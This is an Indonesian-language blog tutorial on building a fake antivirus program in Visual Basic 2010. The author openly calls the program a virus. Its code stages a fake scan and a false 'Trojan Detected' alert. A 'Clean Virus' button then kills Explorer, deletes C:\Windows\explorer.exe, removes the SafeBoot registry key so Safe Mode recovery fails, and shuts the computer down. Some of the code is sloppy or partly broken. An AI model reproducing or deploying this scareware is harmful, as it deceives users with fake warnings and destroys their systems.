Membuat Fake Anti Virus Dengan VB 2010

Kali ini saya akan mengajarkan kalian smua membuat fake anti virus,Mungkin Anda pernah terkena Fake AV,pasti anda tahu rasanya seperti apa jika terkena Fake AV, sebenarnya fake av itu virus

nah kali ini anti virus palsu yang efeknya menghapus C:\Windows\Explorer.exe lumayan kan 

tanpa Explorer.exe Windows tak bisa bekerja dengan baik ,nah bagi sobat Lab-VB Sudah tak sabar langsung saja


1. Jalan kan VB 2010
2. Klik Window  Form Aplication
3. Name nya di Ganti menjadi  Injections
4. Tambahkan 3 Button ,1 Textbox,1Process bar , 3Label,1Timer, 1ComboBox
dan ubah Form 1 Sesuka hati
5. Beri nama Button1 menjadi Scan, Button2 menjadi Clean Virus,Button3 menjadi Stop Scan
ubah Button 2 dan 3 di properties Cari Enabled ,nanti kalo ketemu True jadi False, Label1 Ubah menjadi Status: , Label2 ,hapus dibagian text biarkan kosong Dan Label3 menjadi Virus List Klik gambar panah pada ComboBox1 terus klik Edit Item nanti masukan Tulisan Dibawah ini

Scan For Virus
Scan For Spy Ware
Checkup
Klik ok ,jika masih tidak jelas perhatikan gambar di bawah ini

6.Jika Sudah Double klik Button 1 / Scan Dan masukan Kode ini

        ProgressBar1.Value += 1

        If ProgressBar1.Value = _
        ProgressBar1.Maximum Then

            Timer1.Stop()
            TextBox1.Text = ("C:\Windows\explorer.exe")
            MsgBox("Trojan Detected !!!", MsgBoxStyle.Critical)
            MsgBox("Klik Clean Virus Terditeksi karena di komputer mu ada 2 Exoplorer dan salah satunya Trojan Rat Yang Di Hidden", MsgBoxStyle.Critical)
            Button2.Enabled = True
        End If
        Label2.Text = "Scanning..."
        If ProgressBar1.Value = 1 Then
            Button3.Enabled = True

7. Balik Ke Form1.vb[Design] Double Klik Button1

Timer1.Start()

8.Balik Ke Form1.vb[Design] Double Klik Button2

  Dim RunningProcess As System.Diagnostics.Process =

Process.GetProcessesByName("explorer.exe")(0)

        RunningProcess.Kill()

        Dim FileToDelete As String

        FileToDelete = "C:\Windows\explorer.exe"

        If System.IO.File.Exists(FileToDelete) = True Then

        End If

        System.IO.File.Delete(FileToDelete)

        My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")

        Shell("Shutdown -s")

    End Sub

9.  Balik Ke Form1.vb[Design] Double Klik Button3

Timer1.Stop()

        Label2.Text = "Scan Stopped"

        ProgressBar1.Value += 0